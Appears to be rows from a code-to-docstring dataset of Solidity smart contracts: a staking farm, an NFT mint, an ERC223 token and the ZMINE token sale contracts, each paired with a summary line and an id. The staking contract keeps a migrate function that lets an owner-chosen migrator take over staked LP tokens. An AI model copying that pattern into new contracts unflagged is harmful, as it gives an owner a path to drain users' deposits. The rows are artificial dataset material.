require(address(migrator) != address(0), "migrate: no migrator");
PoolInfo storage pool = poolInfo[_aid][_pid];
IERC20 lpToken = pool.lpToken;
uint256 bal = lpToken.balanceOf(address(this));
lpToken.safeApprove(address(migrator), bal);
IERC20 newLpToken = migrator.migrate(lpToken);
require(bal == newLpToken.balanceOf(address(this)), "migrate: bad");
pool.lpToken = newLpToken;
}
// Reduce by 50% per halfPeriod blocks.
function getBlockReward(uint256 number) public view returns (uint256) {
if (number < startBlock){
return 0;
}
uint256 mintBlocks = number.sub(startBlock);
uint256 exp = mintBlocks.div(halfPeriod);
if (exp == 0) return 100000000000000000000;
if (exp == 1) return 80000000000000000000;
if (exp == 2) return 60000000000000000000;
if (exp == 3) return 40000000000000000000;
if (exp == 4) return 20000000000000000000;
if (exp == 5) return 10000000000000000000;
if (exp == 6) return 8000000000000000000;
if (exp == 7) return 6000000000000000000;
if (exp == 8) return 4000000000000000000;
if (exp == 9) return 2000000000000000000;
if (exp >= 10) return 1000000000000000000;
return 0;
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
if(_from < startBlock){
_from = startBlock;
}
if(_from >= _to){
return 0;
}
uint256 blockReward1 = getBlockReward(_from);
uint256 blockReward2 = getBlockReward(_to);
uint256 blockGap = _to.sub(_from);
if(blockReward1 != blockReward2){
uint256 blocks2 = _to.mod(halfPeriod);
uint256 blocks1 = blockGap.sub(blocks2);
return blocks1.mul(blockReward1).add(blocks2.mul(blockReward2));
}
return blockGap.mul(blockReward1);
}
// View function to see pending ZEUSs on frontend.
function pendingZEUS(uint256 _aid, uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_aid][_pid];
UserInfo storage user = userInfo[_aid][_pid][_user];
uint256 accZEUSPerShare = pool.accZEUSPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 ZEUSReward = multiplier.mul(pool.allocPoint).div(areaInfo[_aid].totalAllocPoint);
accZEUSPerShare = accZEUSPerShare.add((ZEUSReward.mul(1e12).div(lpSupply)).mul(areaInfo[_aid].rate).div(totalRate));
}
return user.amount.mul(accZEUSPerShare).div(1e12).sub(user.rewardDebt);
}
function massUpdateAreas() public {
uint256 length = areaInfo.length;
for (uint256 aid = 0; aid < length; ++aid) {
massUpdatePools(aid);
}
}
// Update reward variables for all pools. Be careful of gas spending!
function massUpdatePools(uint256 _aid) public {
uint256 length = poolInfo[_aid].length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(_aid, pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _aid, uint256 _pid) public {
PoolInfo storage pool = poolInfo[_aid][_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 zeusReward = multiplier.mul(pool.allocPoint).div(areaInfo[_aid].totalAllocPoint);
zeus.mint(devaddr, zeusReward.div(20));
zeus.mint(address(this), zeusReward);
pool.accZEUSPerShare = pool.accZEUSPerShare.add((zeusReward.mul(1e12).div(lpSupply)).mul(areaInfo[_aid].rate).div(totalRate));
pool.lastRewardBlock = block.number;
}
// Deposit LP tokens to ZEUSMain for ZEUS allocation.
function deposit(uint256 _aid, uint256 _pid, uint256 _amount) payable public {
PoolInfo storage pool = poolInfo[_aid][_pid];
UserInfo storage user = userInfo[_aid][_pid][msg.sender];
if (_amount > 0){
require((pool.bDepositFee == false) || (pool.bDepositFee == true && msg.value == pool.depositMount), "deposit: not enough");
}
updatePool(_aid, _pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accZEUSPerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeZEUSTransfer(msg.sender, pending);
}
}
else {
if (pool.bChange == true)
{
pool.allocPoint += pool.changeMount;
areaInfo[_aid].totalAllocPoint += pool.changeMount;
}
}
if(_amount > 0) {
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accZEUSPerShare).div(1e12);
emit Deposit(msg.sender, _aid, _pid, _amount);
}
// Withdraw LP tokens from ZEUSMain.
function withdraw(uint256 _aid, uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_aid][_pid];
UserInfo storage user = userInfo[_aid][_pid][msg.sender];
require((pool.bLock == false) || (pool.bLock && (block.number >= (startBlock.add(lockPeriods)))), "withdraw: pool lock");
require(user.amount >= _amount, "withdraw: not good");
updatePool(_aid, _pid);
uint256 pending = user.amount.mul(pool.accZEUSPerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeZEUSTransfer(msg.sender, pending);
}
if(_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
}
if (user.amount == 0)
{
if (pool.bChange == true)
{
uint256 changenum = pool.allocPoint > pool.changeMount ? pool.changeMount : 0;
pool.allocPoint = pool.allocPoint.sub(changenum);
areaInfo[_aid].totalAllocPoint = areaInfo[_aid].totalAllocPoint.sub(changenum);
}
}
user.rewardDebt = user.amount.mul(pool.accZEUSPerShare).div(1e12);
emit Withdraw(msg.sender, _aid, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _aid, uint256 _pid) public {
PoolInfo storage pool = poolInfo[_aid][_pid];
UserInfo storage user = userInfo[_aid][_pid][msg.sender];
require((pool.bLock == false) || (pool.bLock && (block.number >= (startBlock.add(lockPeriods)))), "withdraw: pool lock");
pool.lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _aid, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
if (pool.bChange == true)
{
uint256 changenum = pool.allocPoint > pool.changeMount ? pool.changeMount : 0;
pool.allocPoint = pool.allocPoint.sub(changenum);
areaInfo[_aid].totalAllocPoint = areaInfo[_aid].totalAllocPoint.sub(changenum);
}
}
// Safe ZEUS transfer function, just in case if rounding error causes pool to not have enough ZEUSs.
function safeZEUSTransfer(address _to, uint256 _amount) internal {
uint256 ZEUSBal = zeus.balanceOf(address(this));
if (_amount > ZEUSBal) {
zeus.transfer(_to, ZEUSBal);
} else {
zeus.transfer(_to, _amount);
}
}
// Update dev address by the previous dev.
function dev(address _devaddr) public {
require(msg.sender == devaddr, "dev: wut?");
devaddr = _devaddr;
}
}
|
Withdraw without caring about rewards. EMERGENCY ONLY.
|
function emergencyWithdraw(uint256 _aid, uint256 _pid) public {
PoolInfo storage pool = poolInfo[_aid][_pid];
UserInfo storage user = userInfo[_aid][_pid][msg.sender];
require((pool.bLock == false) || (pool.bLock && (block.number >= (startBlock.add(lockPeriods)))), "withdraw: pool lock");
pool.lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _aid, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
if (pool.bChange == true)
{
uint256 changenum = pool.allocPoint > pool.changeMount ? pool.changeMount : 0;
pool.allocPoint = pool.allocPoint.sub(changenum);
areaInfo[_aid].totalAllocPoint = areaInfo[_aid].totalAllocPoint.sub(changenum);
}
}
| 1,252,642 |
./full_match/1/0xC5190E7FEC4d97a3a3b1aB42dfedac608e2d0793/sources/contracts/FXISportsToken.sol
|
External function allows the contract owner to add or remove multiple addresses from the whitelists _accounts An array of addresses to be added or removed from the whitelists _add A boolean indicating whether to add or remove the addresses from the whitelists/
|
function updateWhitelists(
address[] memory _accounts,
bool _add
) external override onlyOwner {
uint256 length = _accounts.length;
require(length > 0, "Invalid accounts length");
for (uint256 i = 0; i < length; ) {
whitelists[_accounts[i]] = _add;
unchecked {
i++;
}
}
}
| 8,473,084 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "./ERC721.sol";
import "./Ownable.sol";
import "./ERC721Enumerable.sol";
/**
* @title BeepNFT contract
*/
contract BeepNFT is ERC721, ERC721Enumerable, Ownable {
using Strings for uint256;
uint256 public constant MAX_TOKENS = 6969;
string private _baseTokenURI;
bool public saleIsActive;
constructor(string memory baseURI) ERC721("BeepNFT", "BEEP") {
saleIsActive = false;
setBaseURI(baseURI);
}
function mint(uint256 num) public payable {
uint256 supply = totalSupply();
require(saleIsActive, "Sale is not active");
require(num > 0, "Minting 0");
require(num <= 9, "Max of 9 is allowed");
require(supply + num <= MAX_TOKENS, "Passing max supply");
require(msg.value >= 0, "Ether sent must be >= 0");
for(uint256 i; i < num; i++){
_safeMint(msg.sender, supply + i);
}
}
function flipSaleState() public onlyOwner {
saleIsActive = !saleIsActive;
}
function withdraw() onlyOwner public {
uint balance = address(this).balance;
payable(msg.sender).transfer(balance);
}
/*
* @dev Reserve 10, owner only
*/
function reserveTokens() public onlyOwner {
uint256 supply = totalSupply();
for (uint256 i = 0; i < 10; i++) {
_safeMint(msg.sender, supply + i);
}
}
/*
* @dev Reserve 1, owner only
*/
function reserveToken() public onlyOwner {
uint256 supply = totalSupply();
_safeMint(msg.sender, supply);
}
/*
* @dev Needed below function to resolve conflicting fns in ERC721 and ERC721Enumerable
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) {
super._beforeTokenTransfer(from, to, tokenId);
}
/*
* @dev Needed below function to resolve conflicting fns in ERC721 and ERC721Enumerable
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) {
return super.supportsInterface(interfaceId);
}
function _baseURI() internal view virtual override returns (string memory) {
return _baseTokenURI;
}
function setBaseURI(string memory baseURI) public onlyOwner {
_baseTokenURI = baseURI;
}
}
|
Reserve 1, owner only/
|
function reserveToken() public onlyOwner {
uint256 supply = totalSupply();
_safeMint(msg.sender, supply);
}
| 13,488,314 |
pragma solidity ^0.5.2;
import './IERC223.sol';
import './ERC223_receiving_contract.sol';
import '../../SafeMath.sol';
/**
* @title Reference implementation of the ERC223 standard token.
*/
contract ERC223 is IERC223 {
using SafeMath for uint;
mapping(address => uint) _balances; // List of user balances.
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Transfer the specified amount of tokens to the specified address.
* Invokes the `tokenFallback` function if the recipient is a contract.
* The token transfer fails if the recipient is a contract
* but does not implement the `tokenFallback` function
* or the fallback function to receive funds.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
* @param _data Transaction metadata.
*/
function transfer(address _to, uint _value, bytes calldata _data) external {
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
uint codeLength;
assembly {
// Retrieve the size of the code on target address, this needs assembly .
codeLength := extcodesize(_to)
}
_balances[msg.sender] = _balances[msg.sender].sub(_value);
_balances[_to] = _balances[_to].add(_value);
if(codeLength>0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
emit Transfer(msg.sender, _to, _value, _data);
}
/**
* @dev Transfer the specified amount of tokens to the specified address.
* This function works the same with the previous one
* but doesn't contain `_data` param.
* Added due to backwards compatibility reasons.
*
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
*/
function transfer(address _to, uint _value) external {
uint codeLength;
bytes memory empty;
assembly {
// Retrieve the size of the code on target address, this needs assembly .
codeLength := extcodesize(_to)
}
_balances[msg.sender] = _balances[msg.sender].sub(_value);
_balances[_to] = _balances[_to].add(_value);
if(codeLength>0) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, empty);
}
emit Transfer(msg.sender, _to, _value, empty);
}
/**
* @dev Returns balance of the `_owner`.
*
* @param _owner The address whose balance will be returned.
* @return balance Balance of the `_owner`.
*/
function balanceOf(address _owner) public view returns (uint balance) {
return _balances[_owner];
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
}
|
Returns balance of the `_owner`. _owner The address whose balance will be returned. return balance Balance of the `_owner`./
|
function balanceOf(address _owner) public view returns (uint balance) {
return _balances[_owner];
}
| 12,981,545 |
//Address: 0xE7c31C786c5CaB6F8cb2B9E03F6f534f8c3e8C3F
//Contract name: ZMINE
//Balance: 0 Ether
//Verification Date: 12/21/2017
//Transacion Count: 1
// CODE STARTS HERE
pragma solidity ^0.4.17;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Authorizable
* @dev The Authorizable contract has authorized addresses, and provides basic authorization control
* functions, this simplifies the implementation of "multiple user permissions".
*/
contract Authorizable is Ownable {
mapping(address => bool) public authorized;
event AuthorizationSet(address indexed addressAuthorized, bool indexed authorization);
/**
* @dev The Authorizable constructor sets the first `authorized` of the contract to the sender
* account.
*/
function Authorizable() public {
AuthorizationSet(msg.sender, true);
authorized[msg.sender] = true;
}
/**
* @dev Throws if called by any account other than the authorized.
*/
modifier onlyAuthorized() {
require(authorized[msg.sender]);
_;
}
/**
* @dev Allows the current owner to set an authorization.
* @param addressAuthorized The address to change authorization.
*/
function setAuthorized(address addressAuthorized, bool authorization) public onlyOwner {
require(authorized[addressAuthorized] != authorization);
AuthorizationSet(addressAuthorized, authorization);
authorized[addressAuthorized] = authorization;
}
}
/**
* @title WhiteList
* @dev The WhiteList contract has whiteListed addresses, and provides basic whiteListStatus control
* functions, this simplifies the implementation of "multiple user permissions".
*/
contract WhiteList is Authorizable {
mapping(address => bool) whiteListed;
event WhiteListSet(address indexed addressWhiteListed, bool indexed whiteListStatus);
/**
* @dev The WhiteList constructor sets the first `whiteListed` of the contract to the sender
* account.
*/
function WhiteList() public {
WhiteListSet(msg.sender, true);
whiteListed[msg.sender] = true;
}
/**
* @dev Throws if called by any account other than the whiteListed.
*/
modifier onlyWhiteListed() {
require(whiteListed[msg.sender]);
_;
}
function isWhiteListed(address _address) public view returns (bool) {
return whiteListed[_address];
}
/**
* @dev Allows the current owner to set an whiteListStatus.
* @param addressWhiteListed The address to change whiteListStatus.
*/
function setWhiteListed(address addressWhiteListed, bool whiteListStatus) public onlyAuthorized {
require(whiteListed[addressWhiteListed] != whiteListStatus);
WhiteListSet(addressWhiteListed, whiteListStatus);
whiteListed[addressWhiteListed] = whiteListStatus;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract TreasureBox {
// ERC20 basic token contract being held
StandardToken token;
// beneficiary of tokens after they are released
address public beneficiary;
// timestamp where token release is enabled
uint public releaseTime;
function TreasureBox(StandardToken _token, address _beneficiary, uint _releaseTime) public {
require(_beneficiary != address(0));
token = StandardToken(_token);
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function claim() external {
require(available());
require(amount() > 0);
token.transfer(beneficiary, amount());
}
function available() public view returns (bool) {
return (now >= releaseTime);
}
function amount() public view returns (uint256) {
return token.balanceOf(this);
}
}
contract AirDropper is Authorizable {
mapping(address => bool) public isAnExchanger; // allow to airdrop to destination is exchanger with out minimum
mapping(address => bool) public isTreasureBox; // flag who not eligible airdrop
mapping(address => address) public airDropDestinations; // setTo 0x0 if want airdrop to self
StandardToken token;
event SetDestination(address _address, address _destination);
event SetExchanger(address _address, bool _isExchanger);
function AirDropper(StandardToken _token) public {
token = _token;
}
function getToken() public view returns(StandardToken) {
return token;
}
/**
* set _destination to 0x0 if want to self airdrop
*/
function setAirDropDestination(address _destination) external {
require(_destination != msg.sender);
airDropDestinations[msg.sender] = _destination;
SetDestination(msg.sender, _destination);
}
function setTreasureBox (address _address, bool _status) public onlyAuthorized {
require(_address != address(0));
require(isTreasureBox[_address] != _status);
isTreasureBox[_address] = _status;
}
function setExchanger(address _address, bool _isExchanger) external onlyAuthorized {
require(_address != address(0));
require(isAnExchanger[_address] != _isExchanger);
isAnExchanger[_address] = _isExchanger;
SetExchanger(_address, _isExchanger);
}
/**
* help fix airdrop when holder > 100
* but need to calculate outer
*/
function multiTransfer(address[] _address, uint[] _value) public returns (bool) {
for (uint i = 0; i < _address.length; i++) {
token.transferFrom(msg.sender, _address[i], _value[i]);
}
return true;
}
}
/**
* @title TemToken
* @dev The main ZMINE token contract
*
* ABI
* [{"constant":true,"inputs":[],"name":"mintingFinished","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[],"name":"startTrading","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_amount","type":"uint256"}],"name":"mint","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"tradingStarted","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[],"name":"finishMinting","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"type":"function"},{"anonymous":false,"inputs":[{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Mint","type":"event"},{"anonymous":false,"inputs":[],"name":"MintFinished","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}]
*/
contract ZMINE is StandardToken, Ownable {
string public name = "ZMINE Token";
string public symbol = "ZMN";
uint8 public decimals = 18;
uint256 public totalSupply = 1000000000000000000000000000; // 1,000,000,000 ^ 18
function ZMINE() public {
balances[owner] = totalSupply;
Transfer(address(0x0), owner, totalSupply);
}
/**
* burn token if token is not sold out after Public
*/
function burn(uint _amount) external onlyOwner {
require(balances[owner] >= _amount);
balances[owner] = balances[owner] - _amount;
totalSupply = totalSupply - _amount;
Transfer(owner, address(0x0), _amount);
}
}
contract RateContract is Authorizable {
uint public rate = 6000000000000000000000;
event UpdateRate(uint _oldRate, uint _newRate);
function updateRate(uint _rate) public onlyAuthorized {
require(rate != _rate);
UpdateRate(rate, _rate);
rate = _rate;
}
function getRate() public view returns (uint) {
return rate;
}
}
contract FounderThreader is Ownable {
using SafeMath for uint;
event TokenTransferForFounder(address _recipient, uint _value, address box1, address box2);
AirDropper public airdropper;
uint public hardCap = 300000000000000000000000000; // 300 000 000 * 1e18
uint public remain = 300000000000000000000000000; // 300 000 000 * 1e18
uint public minTx = 100000000000000000000; // 100 * 1e18
mapping(address => bool) isFounder;
function FounderThreader (AirDropper _airdropper, address[] _founders) public {
airdropper = AirDropper(_airdropper);
for (uint i = 0; i < _founders.length; i++) {
isFounder[_founders[i]] = true;
}
}
function transferFor(address _recipient, uint _tokens) external onlyOwner {
require(_recipient != address(0));
require(_tokens >= minTx);
require(isFounder[_recipient]);
StandardToken token = StandardToken(airdropper.getToken());
TreasureBox box1 = new TreasureBox(token, _recipient, 1533088800); // can open 2018-08-01 09+07:00
TreasureBox box2 = new TreasureBox(token, _recipient, 1548986400); // can open 2019-02-01 09+07:00
airdropper.setTreasureBox(box1, true);
airdropper.setTreasureBox(box2, true);
token.transferFrom(owner, _recipient, _tokens.mul(33).div(100)); // 33 % for now
token.transferFrom(owner, box1, _tokens.mul(33).div(100)); // 33 % for box1
token.transferFrom(owner, box2, _tokens.mul(34).div(100)); // 34 % for box2
remain = remain.sub(_tokens);
TokenTransferForFounder(_recipient, _tokens, box1, box2);
}
}
contract PreSale is Ownable {
using SafeMath for uint;
event TokenSold(address _recipient, uint _value, uint _tokens, uint _rate);
event TokenSold(address _recipient, uint _tokens);
ZMINE public token;
WhiteList whitelist;
uint public hardCap = 300000000000000000000000000; // 300 000 000 * 1e18
uint public remain = 300000000000000000000000000; // 300 000 000 * 1e18
uint public startDate = 1512525600; // 2017-12-06 09+07:00
uint public stopDate = 1517364000; // 2018-01-31 09+07:00
uint public minTx = 100000000000000000000; // 100 * 1e18
uint public maxTx = 100000000000000000000000; // 100 000 * 1e18
RateContract rateContract;
function PreSale (ZMINE _token, RateContract _rateContract, WhiteList _whitelist) public {
token = ZMINE(_token);
rateContract = RateContract(_rateContract);
whitelist = WhiteList(_whitelist);
}
/**
* transfer token to presale investor who pay by cash
*/
function transferFor(address _recipient, uint _tokens) external onlyOwner {
require(_recipient != address(0));
require(available());
remain = remain.sub(_tokens);
token.transferFrom(owner, _recipient, _tokens);
TokenSold(_recipient, _tokens);
}
function sale(address _recipient, uint _value, uint _rate) private {
require(_recipient != address(0));
require(available());
require(isWhiteListed(_recipient));
require(_value >= minTx && _value <= maxTx);
uint tokens = _rate.mul(_value).div(1000000000000000000);
remain = remain.sub(tokens);
token.transferFrom(owner, _recipient, tokens);
owner.transfer(_value);
TokenSold(_recipient, _value, tokens, _rate);
}
function rate() public view returns (uint) {
return rateContract.getRate();
}
function available() public view returns (bool) {
return (now > startDate && now < stopDate);
}
function isWhiteListed(address _address) public view returns (bool) {
return whitelist.isWhiteListed(_address);
}
function() external payable {
sale(msg.sender, msg.value, rate());
}
}
contract PublicSale is Ownable {
using SafeMath for uint;
event TokenSold(address _recipient, uint _value, uint _tokens, uint _rate);
event IncreaseHardCap(uint _amount);
ZMINE public token;
WhiteList whitelistPublic;
WhiteList whitelistPRE;
uint public hardCap = 400000000000000000000000000; // 400 000 000 * 1e18
uint public remain = 400000000000000000000000000; // 400 000 000 * 1e18
uint public startDate = 1515376800; // 2018-01-08 09+07:00
uint public stopDate = 1517364000; // 2018-01-31 09+07:00
uint public minTx = 1000000000000000000; // 1e18
uint public maxTx = 100000000000000000000000; // 100 000 1e18
RateContract rateContract;
function PublicSale(ZMINE _token, RateContract _rateContract, WhiteList _whitelistPRE, WhiteList _whitelistPublic) public {
token = ZMINE(_token);
rateContract = RateContract(_rateContract);
whitelistPRE = WhiteList(_whitelistPRE);
whitelistPublic = WhiteList(_whitelistPublic);
}
/**
* increase hard cap if previous dont sold out
*/
function increaseHardCap(uint _amount) external onlyOwner {
require(_amount <= 300000000000000000000000000); // presale hard cap
hardCap = hardCap.add(_amount);
remain = remain.add(_amount);
IncreaseHardCap(_amount);
}
function sale(address _recipient, uint _value, uint _rate) private {
require(available());
require(isWhiteListed(_recipient));
require(_value >= minTx && _value <= maxTx);
uint tokens = _rate.mul(_value).div(1000000000000000000);
remain = remain.sub(tokens);
token.transferFrom(owner, _recipient, tokens);
owner.transfer(_value);
TokenSold(_recipient, _value, tokens, _rate);
}
function rate() public view returns (uint) {
return rateContract.getRate();
}
function available () public view returns (bool) {
return (now > startDate && now < stopDate);
}
function isWhiteListed (address _address) public view returns(bool) {
return (whitelistPRE.isWhiteListed(_address) || (whitelistPublic.isWhiteListed(_address)));
}
function() external payable {
sale(msg.sender, msg.value, rate());
}
}
|
